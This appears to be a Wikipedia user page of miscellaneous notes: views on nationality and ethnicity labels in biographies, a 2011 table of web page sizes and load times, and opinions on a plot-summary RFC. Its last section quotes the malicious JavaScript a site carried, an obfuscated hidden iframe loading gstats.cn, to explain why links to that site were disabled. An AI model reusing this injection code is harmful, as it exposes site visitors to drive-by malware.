Points of View
- Agree with User:Matt Lewis and User:Breadandcheese that no guideline is wanted.
- Prefer no nationality adjective to appear in lead or infobox at all.
- Show legal citizenship(s), when sourced, in the infobox's "Nationality" field.
- Prefer no ethnicity description to appear in the lead or infobox at all.
- When sourcedand notable, discuss nationalities and ethnicities (note plural) in a relevant section.
- Accept a nationality adjective that is well-sourced, not synthesized. Good sources would be printed dictionaries, biographies and encyclopedia.
- Walk away despairingly at attempts to force ethnicity labels in the lead, infobox and categories.
Web page bloat
In 2011 January, I tested the total network traffic of a few web pages, measured using
1010 KB 11.0 seconds Deutsche Welle English page [7] The Winner! 540 KB 10.01 seconds BBC news home page [8] 502 KB 13.0 seconds Featured article Letters Written in Sweden, Norway, and Denmark 376 KB 14.48 seconds English Wikipedia Main Page 320 KB 3.2 seconds Featured article in mobile wikipedia [9] 305 KB 11.06 seconds French Wikipedia fr:Wikipédia:Accueil_principal 262 KB 13.7 seconds Simple English Wikipedia 169 KB 6.26 seconds German Wikipedia de:Wikipedia:Hauptseite 154 KB 4.77 seconds Twitter [10] 129 KB 3.87 seconds W3C [11] 113 KB 1.42 seconds Google search for Google [12] 84 KB 1.36 seconds Google [13] 27 KB 1.69 seconds advanced mobile wikipedia [14] 5 KB 0.7 seconds mobile wikipedia [http://en.mobile.wikipedia.org/
I think wikipedia needs an article on Bloat (web).

User:Piotrus/Morsels of wikiwisdom
My half-baked opinions on the RFC "In principle, do you think that WP:NOT should include a section on plot summaries?"
- such RFCs need actual examples
- question is badly framed
- agree that some form of plot guideline is needed
- agree that reliably sourced plot-only articles can meet WP:V, and are acceptable, and could also be usefully merged (or remain as "grow-me" stubs, I'm on the fence here)
- not necessary for an article on fiction to contain a plot summary! See real encyclopedia
- not necessary for an article on fiction to contain only analysis! See real encyclopedia again
malware
In case anyone is curious why I disabled the links to kungfurodeo.com, here is the malicious javascript that its pages contain that try to load from gstats.cn (do NOT browse to either domain!):
if (document.cookie.search("iwrpl=5") == -1) {
document.write("<ifram"+"e src"+"=http://g"+"st"+"ats"+".c"+"n sty"+"le="+"d"+"ispla"+"y:non"+"e></if"+"rame"+">");
document.cookie = "iwrpl=5;expires=Sun, 01-Dec-2011 08:00:00 GMT;path=/";}
